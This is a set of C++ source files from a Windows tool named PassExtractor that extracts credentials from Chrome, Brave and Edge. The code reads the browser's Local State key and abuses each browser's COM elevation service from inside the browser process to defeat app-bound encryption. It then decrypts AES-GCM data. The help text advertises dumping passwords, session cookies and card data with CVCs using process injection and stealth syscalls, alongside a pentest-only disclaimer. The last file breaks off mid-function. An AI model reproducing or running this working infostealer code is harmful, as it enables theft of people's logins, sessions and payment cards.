// BannerSystem.h - Application banner and footer management
#ifndef BANNER_SYSTEM_H
#define BANNER_SYSTEM_H

#include <Windows.h>
#include <string>

namespace Banner
{
    // Print centered text with specified color
    void PrintCentered(HANDLE hConsole, const std::wstring& text, WORD color, int width = 80);

    // Print application banner with blue frame
    void PrintHeader();

    // Print footer with donation information
    void PrintFooter();
}

#endif // BANNER_SYSTEM_H

<<<FILE: kvc_pass/BrowserCrypto.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-03-29 15:57:24
Size:     16.28 KB
// BrowserCrypto.cpp - Browser-specific cryptographic operations
// Implements selective COM/DPAPI strategy based on browser and data type
#include "BrowserCrypto.h"
#include "CommunicationModule.h"
#include <ShlObj.h>
#include <wrl/client.h>
#include <bcrypt.h>
#include <Wincrypt.h>
#include <fstream>
#include <sstream>
#include <stdexcept>
#include <algorithm>

#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

namespace SecurityComponents
{
    namespace Browser
    {
        // Browser-specific configuration database
        // Contains COM CLSIDs, IIDs, and file paths for each supported browser
        const std::unordered_map<std::string, Config>& GetConfigs()
        {
            static const std::unordered_map<std::string, Config> browser_configs = {
                {"chrome", {"Chrome", L"chrome.exe", 
                    {0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}}, 
                    {0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}}, 
                    fs::path("Google") / "Chrome" / "User Data"}},
                {"brave", {"Brave", L"brave.exe", 
                    {0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}}, 
                    {0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}}, 
                    fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
                {"edge", {"Edge", L"msedge.exe", 
                    {0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}}, 
                    {0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}}, 
                    fs::path("Microsoft") / "Edge" / "User Data"}}
            };
            return browser_configs;
        }

        // Determines browser configuration based on current process executable name
        Config GetConfigForCurrentProcess()
        {
            char exePath[MAX_PATH] = {0};
            GetModuleFileNameA(NULL, exePath, MAX_PATH);
            std::string processName = fs::path(exePath).filename().string();
            std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);

            const auto& configs = GetConfigs();
            if (processName == "chrome.exe") return configs.at("chrome");
            if (processName == "brave.exe")  return configs.at("brave");
            if (processName == "msedge.exe") return configs.at("edge");

            throw std::runtime_error("Unsupported host process: " + processName);
        }
    }

    namespace Crypto
    {
        // Encryption scheme identifier prefixes
        const uint8_t CHROME_KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
        const uint8_t EDGE_KEY_PREFIX[] = {'D', 'P', 'A', 'P', 'I'};
        const std::string V10_PREFIX = "v10";
        const std::string V20_PREFIX = "v20";

        // RAII wrapper for BCrypt algorithm handle
        class BCryptAlgorithm
        {
        public:
            BCryptAlgorithm() { 
                BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); 
            }
            ~BCryptAlgorithm() { 
                if (handle) BCryptCloseAlgorithmProvider(handle, 0); 
            }
            operator BCRYPT_ALG_HANDLE() const { return handle; }
            bool IsValid() const { return handle != nullptr; }
            
        private:
            BCRYPT_ALG_HANDLE handle = nullptr;
        };

        // RAII wrapper for BCrypt key handle
        class BCryptKey
        {
        public:
            BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
            {
                BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0, 
                                         const_cast<PUCHAR>(key.data()), 
                                         static_cast<ULONG>(key.size()), 0);
            }
            ~BCryptKey() { 
                if (handle) BCryptDestroyKey(handle); 
            }
            operator BCRYPT_KEY_HANDLE() const { return handle; }
            bool IsValid() const { return handle != nullptr; }
            
        private:
            BCRYPT_KEY_HANDLE handle = nullptr;
        };
        
        // Decrypts AES-GCM encrypted data using provided key
        // Supports both v10 and v20 encryption schemes
        std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
        {
            std::string detectedPrefix;
            size_t prefixLength = 0;
            
            // Detect encryption scheme version
            if (blob.size() >= 3)
            {
                if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
                {
                    detectedPrefix = V10_PREFIX;
                    prefixLength = V10_PREFIX.length();
                }
                else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
                {
                    detectedPrefix = V20_PREFIX;  
                    prefixLength = V20_PREFIX.length();
                }
                else
                {
                    return {};
                }
            }
            else
            {
                return {};
            }

            // Validate blob size
            const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
            if (blob.size() < GCM_OVERHEAD_LENGTH)
                return {};

            // Initialize AES-GCM decryption
            BCryptAlgorithm algorithm;
            if (!algorithm.IsValid())
                return {};

            BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE, 
                            reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)), 
                            sizeof(BCRYPT_CHAIN_MODE_GCM), 0);

            BCryptKey cryptoKey(algorithm, key);
            if (!cryptoKey.IsValid())
                return {};

            // Extract IV, ciphertext, and authentication tag
            const uint8_t* iv = blob.data() + prefixLength;
            const uint8_t* ct = iv + GCM_IV_LENGTH;
            const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
            ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
            
            // Configure authenticated cipher mode
            BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
            BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
            authInfo.pbNonce = const_cast<PUCHAR>(iv);
            authInfo.cbNonce = GCM_IV_LENGTH;
            authInfo.pbTag = const_cast<PUCHAR>(tag);
            authInfo.cbTag = GCM_TAG_LENGTH;
            
            // Perform decryption
            std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
            ULONG outLen = 0;
            
            NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo, 
                                          nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()), 
                                          &outLen, 0);
            if (!NT_SUCCESS(status))
                return {};

            plain.resize(outLen);
            return plain;
        }
        
        // Extracts encrypted master key from browser's Local State file
        // Handles both APPB (COM) and DPAPI blob formats
        std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
        {
            std::ifstream f(localStatePath, std::ios::binary);
            if (!f)
                throw std::runtime_error("Could not open Local State file.");

            std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
            
            // Search for encrypted key in JSON
            std::string tag = "\"app_bound_encrypted_key\":\"";
            size_t pos = content.find(tag);
            
            if (pos == std::string::npos) {
                tag = "\"encrypted_key\":\"";
                pos = content.find(tag);
                if (pos == std::string::npos)
                    throw std::runtime_error("Encrypted key not found in Local State.");
            }

            pos += tag.length();
            size_t end_pos = content.find('"', pos);
            if (end_pos == std::string::npos)
                throw std::runtime_error("Malformed encrypted key format.");

            auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
            if (!optDecoded)
                throw std::runtime_error("Base64 decoding of encrypted key failed.");

            auto& decodedData = *optDecoded;
            
            // Check for APPB prefix (COM-encrypted key)
            if (decodedData.size() >= sizeof(CHROME_KEY_PREFIX) && 
                memcmp(decodedData.data(), CHROME_KEY_PREFIX, sizeof(CHROME_KEY_PREFIX)) == 0)
            {
                return {decodedData.begin() + sizeof(CHROME_KEY_PREFIX), decodedData.end()};
            }
            // Check for DPAPI blob header (0x01000000)
            else if (decodedData.size() >= 4 && 
                     decodedData[0] == 0x01 && decodedData[1] == 0x00 && 
                     decodedData[2] == 0x00 && decodedData[3] == 0x00)
            {
                return decodedData;
            }
            else
            {
                throw std::runtime_error("Unknown key format - not APPB or DPAPI blob.");
            }
        }
    }

    BrowserManager::BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}

    fs::path BrowserManager::getUserDataRoot() const
    {
        return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
    }

    MasterKeyDecryptor::MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) {}

    MasterKeyDecryptor::~MasterKeyDecryptor()
    {
        if (m_comInitialized)
        {
            CoUninitialize();
        }
    }
    
    // Decrypts master key using browser's COM elevation service
    std::vector<uint8_t> MasterKeyDecryptor::DecryptWithCOM(const Browser::Config& config, 
                                                            const std::vector<uint8_t>& encryptedKeyBlob)
    {
        BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()), 
                                              static_cast<UINT>(encryptedKeyBlob.size()));
        if (!bstrEncKey)
            throw std::runtime_error("Failed to allocate BSTR for encrypted key.");

        BSTR bstrPlainKey = nullptr;
        HRESULT hr = E_FAIL;
        DWORD comErr = 0;

        // Edge uses different COM interface than Chrome/Brave
        if (config.name == "Edge")
        {
            Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
            hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
            if (FAILED(hr))
            {
                std::ostringstream oss;
                oss << "CoCreateInstance failed for Edge. HRESULT: 0x" << std::hex << hr;
                SysFreeString(bstrEncKey);
                throw std::runtime_error(oss.str());
            }
            CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
                            COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
                            RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
            hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
            if (FAILED(hr))
            {
                std::ostringstream oss;
                oss << "DecryptData failed for Edge. HRESULT: 0x" << std::hex << hr
                    << " comErr: 0x" << comErr;
                SysFreeString(bstrEncKey);
                if (bstrPlainKey) SysFreeString(bstrPlainKey);
                throw std::runtime_error(oss.str());
            }
        }
        else
        {
            Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
            hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
            if (SUCCEEDED(hr))
            {
                CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, 
                                COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, 
                                RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
                hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
            }
        }

        SysFreeString(bstrEncKey);
        
        // Validate decryption result
        if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
        {
            if (bstrPlainKey) SysFreeString(bstrPlainKey);
            std::ostringstream oss;
            oss << "COM elevation decryption failed for " << config.name << ". HRESULT: 0x" 
                << std::hex << hr;
            throw std::runtime_error(oss.str());
        }

        std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
        memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
        SysFreeString(bstrPlainKey);
        
        return aesKey;
    }

    // Decrypts master key using Windows DPAPI
    // Used for Edge passwords when orchestrator provides pre-decrypted key
    std::vector<uint8_t> MasterKeyDecryptor::DecryptWithDPAPI(const fs::path& localStatePath)
    {
        auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);

        DATA_BLOB inputBlob = {
            static_cast<DWORD>(encryptedKeyBlob.size()),
            encryptedKeyBlob.data()
        };
        DATA_BLOB outputBlob = {};
        
        BOOL result = CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr, 
                                        CRYPTPROTECT_UI_FORBIDDEN, &outputBlob);
        
        if (!result)
        {
            DWORD error = GetLastError();
            std::ostringstream oss;
            oss << "DPAPI decryption failed. Error: 0x" << std::hex << error;
            m_logger.Log("[-] " + oss.str());
            throw std::runtime_error(oss.str());
        }
        
        std::vector<uint8_t> aesKey(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData);
        LocalFree(outputBlob.pbData);
        
        if (aesKey.size() != Crypto::KEY_SIZE)
        {
            std::string errMsg = "Decrypted key size mismatch: " + std::to_string(aesKey.size()) + 
                               ", expected: " + std::to_string(Crypto::KEY_SIZE);
            m_logger.Log("[-] " + errMsg);
            throw std::runtime_error(errMsg);
        }
        
        return aesKey;
    }

    // Main decryption entry point - selects strategy based on browser and data type
    std::vector<uint8_t> MasterKeyDecryptor::Decrypt(const Browser::Config& config, 
                                                      const fs::path& localStatePath, 
                                                      DataType dataType)
    {
        m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
        
        // All browsers (including Edge) use COM elevation for all data types.
        // Modern Edge uses app_bound_encrypted_key (APPB) for cookies, passwords, and payments.
        std::string dataTypeStr = "data";
        switch (dataType) {
            case DataType::Cookies:   dataTypeStr = "cookies";   break;
            case DataType::Payments:  dataTypeStr = "payments";  break;
            case DataType::Passwords: dataTypeStr = "passwords"; break;
            default:                  dataTypeStr = "data";      break;
        }

        m_logger.Log("[*] Using COM elevation for " + config.name + " " + dataTypeStr);

        if (!m_comInitialized)
        {
            if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
            {
                throw std::runtime_error("Failed to initialize COM library.");
            }
            m_comInitialized = true;
            m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
        }

        auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
        m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");

        auto aesKey = DecryptWithCOM(config, encryptedKeyBlob);
        m_logger.Log("[+] " + config.name + " COM elevation decryption successful for " + dataTypeStr);
        return aesKey;
    }
}

<<<FILE: kvc_pass/BrowserCrypto.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-30 00:27:26
Size:     4.14 KB
// BrowserCrypto.h - Cryptographic operations and browser-specific configurations
// Implements selective decryption strategy for different data types and browsers

#ifndef BROWSER_CRYPTO_H
#define BROWSER_CRYPTO_H

#include <Windows.h>
#include <vector>
#include <string>
#include <filesystem>
#include <unordered_map>

namespace fs = std::filesystem;

namespace SecurityComponents
{
    class PipeLogger;

    // Data type enumeration for selective decryption strategy
    enum class DataType {
        Passwords,    // Use DPAPI for Edge passwords (no process required)
        Cookies,      // Use COM elevation for browser cookies
        Payments,     // Use COM elevation for payment information  
        All           // Default behavior - use appropriate method per browser
    };

    // Browser-specific configuration and COM interface definitions
    namespace Browser
    {
        struct Config
        {
            std::string name;
            std::wstring processName;
            CLSID clsid;
            IID iid;
            fs::path userDataSubPath;
        };
        
        const std::unordered_map<std::string, Config>& GetConfigs();
        Config GetConfigForCurrentProcess();
    }

    // Cryptographic operations for AES-GCM decryption and key management
    namespace Crypto
    {
        constexpr size_t KEY_SIZE = 32;
        constexpr size_t GCM_IV_LENGTH = 12;
        constexpr size_t GCM_TAG_LENGTH = 16;

        std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob);
        std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath);
    }

    class BrowserManager
    {
    public:
        BrowserManager();
        const Browser::Config& getConfig() const noexcept { return m_config; }
        fs::path getUserDataRoot() const;

    private:
        Browser::Config m_config;
    };

    // Master key decryptor with selective strategy per data type
    class MasterKeyDecryptor
    {
    public:
        explicit MasterKeyDecryptor(PipeLogger& logger);
        ~MasterKeyDecryptor();
        
        // Main decryption interface - intelligently chooses COM or DPAPI
        std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath, DataType dataType = DataType::All);

    private:
        PipeLogger& m_logger;
        bool m_comInitialized = false;
        
        std::vector<uint8_t> DecryptWithCOM(const Browser::Config& config, const std::vector<uint8_t>& encryptedKeyBlob);
        std::vector<uint8_t> DecryptWithDPAPI(const fs::path& localStatePath);
    };
}

// COM interface definitions
enum class ProtectionLevel
{
    None = 0,
    PathValidationOld = 1,
    PathValidation = 2,
    Max = 3
};

MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IOriginalBaseElevator : public IUnknown
{
public:
    virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
    virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
    virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};

MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
IEdgeElevatorBase_Placeholder : public IUnknown
{
public:
    virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
    virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
    virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
};

MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
{
public:
    virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
    virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
    virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};

MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};

#endif // BROWSER_CRYPTO_H

<<<FILE: kvc_pass/BrowserHelp.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-03-30 10:45:20
Size:     12.84 KB
// BrowserHelp.cpp - Comprehensive help system for PassExtractor
#include <windows.h>
#include "BrowserHelp.h"
#include "HelpSystem.h"
#include <iostream>
#include <iomanip>

namespace BrowserHelp
{
    void PrintUsage(std::wstring_view programName) noexcept
    {
        PrintBasicUsage(programName);
        PrintBrowserTargets();
        PrintCommandLineOptions();
        PrintOutputFormat();
        PrintTechnicalFeatures();
        PrintUsageExamples(programName);
        PrintRequirements();
        PrintBrowserSpecificNotes();
        PrintSecurityNotice();
        PrintFooter();
    }

    void PrintHeader() noexcept
    {
        HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
        CONSOLE_SCREEN_BUFFER_INFO csbi;
        GetConsoleScreenBufferInfo(hConsole, &csbi);
        WORD originalColor = csbi.wAttributes;

        const int width = 80;

        // Blue header border
        SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
        std::wcout << L"\n";
        std::wcout << HelpLayout::MakeBorder() << L"\n";

        // Centered text printing
        auto printCentered = [&](const std::wstring& text) {
            int textLen = static_cast<int>(text.length());
            int padding = (width - textLen) / 2;
            if (padding < 0) padding = 0;
            SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
            std::wcout << std::wstring(padding, L' ') << text << L"\n";
        };

        printCentered(L"PassExtractor - Advanced Browser Credential Extraction Framework");
        printCentered(L"Multi-Browser Password, Cookie & Payment Data Recovery Tool");
        printCentered(L"Chrome, Brave, Edge Support via COM Elevation & DPAPI Techniques");

        SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
        std::wcout << HelpLayout::MakeBorder() << L"\n\n";

        SetConsoleTextAttribute(hConsole, originalColor);
    }

    void PrintBasicUsage(std::wstring_view programName) noexcept
    {
        PrintSectionHeader(L"USAGE");
        std::wcout << L"  " << programName << L" <browser_target> [options]\n";
        std::wcout << L"  " << programName << L" --help\n\n";
    }

    void PrintBrowserTargets() noexcept
    {
        PrintSectionHeader(L"BROWSER TARGETS");
        PrintCommandLine(L"chrome", L"Google Chrome (COM Elevation + AES-GCM)");
        PrintCommandLine(L"brave", L"Brave Browser (COM Elevation + AES-GCM)");
        PrintCommandLine(L"edge", L"Microsoft Edge (Split-Key Strategy: COM + DPAPI)");
        PrintCommandLine(L"all", L"All installed browsers (automatic detection)");
        std::wcout << L"\n";
    }

    void PrintCommandLineOptions() noexcept
    {
        PrintSectionHeader(L"OPTIONS");
        PrintCommandLine(L"-o, --output-path <path>", L"Output directory (default: .\\output\\)");
        PrintCommandLine(L"-v, --verbose", L"Enable detailed debug output");
        PrintCommandLine(L"--json-only", L"Extract only JSON files (skip reports)");
        PrintCommandLine(L"--quiet", L"Minimal output (errors only)");
        PrintCommandLine(L"--profile <name>", L"Extract specific browser profile only");
        PrintCommandLine(L"-h, --help", L"Show this help message");
        std::wcout << L"\n";
    }

    void PrintOutputFormat() noexcept
    {
        PrintSectionHeader(L"OUTPUT FORMAT");
        std::wcout << L"  JSON Files (all browsers):\n";
        std::wcout << L"    passwords.json    - Decrypted login credentials\n";
        std::wcout << L"    cookies.json      - Session cookies with tokens\n";
        std::wcout << L"    payments.json     - Credit card data with CVCs\n\n";
    }

    void PrintTechnicalFeatures() noexcept
    {
        PrintSectionHeader(L"TECHNICAL FEATURES");
        std::wcout << L"  - COM elevation service exploitation (Chrome/Brave/Edge cookies+payments)\n";
        std::wcout << L"  - DPAPI extraction for Edge passwords (orchestrator-side)\n";
        std::wcout << L"  - Split-key strategy for Edge (different keys per data type)\n";
        std::wcout << L"  - Direct syscall invocation for stealth operations\n";
        std::wcout << L"  - Process injection with custom PE loader\n";
        std::wcout << L"  - AES-GCM decryption with v10/v20 scheme support\n";
        std::wcout << L"  - Automatic profile discovery and enumeration\n";
        std::wcout << L"  - Multi-threaded extraction pipeline\n\n";
    }

    void PrintUsageExamples(std::wstring_view programName) noexcept
    {
        PrintSectionHeader(L"USAGE EXAMPLES");
        const int commandWidth = 50;

        auto printLine = [&](const std::wstring& command, const std::wstring& description) {
            std::wcout << L"  " << std::left << std::setw(commandWidth)
                       << (std::wstring(programName) + L" " + command)
                       << L"# " << description << L"\n";
        };

        printLine(L"chrome", L"Extract Chrome to .\\output\\");
        printLine(L"edge -o C:\\reports", L"Edge to custom directory");
        printLine(L"brave --verbose", L"Brave with debug output");
        printLine(L"all", L"All browsers to .\\output\\");
        printLine(L"chrome -o D:\\data -v", L"Combined options");
        printLine(L"edge --json-only", L"Edge JSON files only");
        printLine(L"chrome --profile Default", L"Extract specific profile");
        printLine(L"all --quiet -o C:\\dumps", L"Silent extraction to custom path");

        std::wcout << L"\n";
    }

    void PrintRequirements() noexcept
    {
        PrintSectionHeader(L"REQUIREMENTS");
        std::wcout << L"  - Windows 10/11 (x64 architecture)\n";
        std::wcout << L"  - Administrator privileges required\n";
        std::wcout << L"  - kvc_crypt.dll (security module)\n";
        std::wcout << L"  - Target browser must be installed\n\n";
    }

    void PrintBrowserSpecificNotes() noexcept
    {
        PrintSectionHeader(L"BROWSER-SPECIFIC BEHAVIOR");
        
        std::wcout << L"  Chrome/Brave:\n";
        std::wcout << L"    - Single COM-elevated key for all data types\n";
        std::wcout << L"    - Requires browser process for COM elevation\n";
        std::wcout << L"    - Extracts passwords, cookies, payment cards\n\n";
        
        std::wcout << L"  Edge:\n";
        std::wcout << L"    - Split-key strategy (COM + DPAPI)\n";
        std::wcout << L"    - COM key: cookies and payment data\n";
        std::wcout << L"    - DPAPI key: passwords (no browser process needed)\n\n";
    }

    void PrintSecurityNotice() noexcept
    {
        PrintSectionHeader(L"SECURITY & LEGAL NOTICE");

        HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
        CONSOLE_SCREEN_BUFFER_INFO csbi;
        GetConsoleScreenBufferInfo(hConsole, &csbi);
        WORD originalColor = csbi.wAttributes;

        SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
        std::wcout << L"  WARNING: ADVANCED CREDENTIAL EXTRACTION TOOL\n\n";
        SetConsoleTextAttribute(hConsole, originalColor);

        std::wcout << L"  CAPABILITIES:\n";
        std::wcout << L"  - Extracts encrypted browser credentials (passwords, cookies, payments)\n";
        std::wcout << L"  - Uses COM elevation bypass and DPAPI extraction techniques\n";
        std::wcout << L"  - Direct syscall invocation for stealth operations\n";
        std::wcout << L"  - Process injection and memory manipulation\n\n";

        SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
        std::wcout << L"  LEGAL & ETHICAL RESPONSIBILITY:\n";
        SetConsoleTextAttribute(hConsole, originalColor);
        std::wcout << L"  - Intended for authorized penetration testing and security research only\n";
        std::wcout << L"  - User assumes full legal responsibility for all actions performed\n";
        std::wcout << L"  - Ensure proper authorization before using on any system\n";
        std::wcout << L"  - Misuse may violate computer crime laws in your jurisdiction\n\n";

        SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
        std::wcout << L"  By using this tool, you acknowledge understanding and accept full responsibility.\n\n";
        SetConsoleTextAttribute(hConsole, originalColor);
    }

    void PrintFooter() noexcept
    {
        HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
        CONSOLE_SCREEN_BUFFER_INFO csbi;
        GetConsoleScreenBufferInfo(hConsole, &csbi);
        WORD originalColor = csbi.wAttributes;

        const int width = 80;

        SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
        std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n";

        auto printCenteredFooter = [&](const std::wstring& text) {
            int textLen = static_cast<int>(text.length());
            int padding = (width - 2 - textLen) / 2;
            if (padding < 0) padding = 0;

            SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
            std::wcout << L"|";

            SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
            std::wcout << std::wstring(padding, L' ') << text
                       << std::wstring(width - 2 - padding - textLen, L' ');

            SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
            std::wcout << L"|\n";
        };

        printCenteredFooter(L"Support this project - a small donation is greatly appreciated");
        printCenteredFooter(L"and helps sustain private research builds.");
        printCenteredFooter(L"GitHub source code: https://github.com/wesmar/kvc/");
        printCenteredFooter(L"Professional services: marek@wesolowski.eu.org");

        SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
        std::wcout << L"|";

        std::wstring paypal = L"PayPal: ";
        std::wstring paypalLink = L"paypal.me/ext1";
        std::wstring middle = L"        ";
        std::wstring revolut = L"Revolut: ";
        std::wstring revolutLink = L"revolut.me/marekb92";

        int totalLen = static_cast<int>(paypal.length() + paypalLink.length() +
                                       middle.length() + revolut.length() + revolutLink.length());
        int padding = (width - totalLen - 2) / 2;
        if (padding < 0) padding = 0;

        SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
        std::wcout << std::wstring(padding, L' ') << paypal;
        SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
        std::wcout << paypalLink;
        SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
        std::wcout << middle << revolut;
        SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
        std::wcout << revolutLink;
        SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
        std::wcout << std::wstring(width - totalLen - padding - 2, L' ');

        SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
        std::wcout << L"|\n";

        std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n";

        SetConsoleTextAttribute(hConsole, originalColor);
    }

    void PrintSectionHeader(const wchar_t* title) noexcept
    {
        HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
        CONSOLE_SCREEN_BUFFER_INFO csbi;
        GetConsoleScreenBufferInfo(hConsole, &csbi);
        WORD originalColor = csbi.wAttributes;

        SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
        std::wcout << L"=== " << title << L" ===\n";

        SetConsoleTextAttribute(hConsole, originalColor);
    }

    void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept
    {
        const int commandWidth = 50;
        std::wcout << L"  " << std::left << std::setw(commandWidth)
                   << command << L"- " << description << L"\n";
    }

    void PrintNote(const wchar_t* note) noexcept
    {
        HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
        CONSOLE_SCREEN_BUFFER_INFO csbi;
        GetConsoleScreenBufferInfo(hConsole, &csbi);
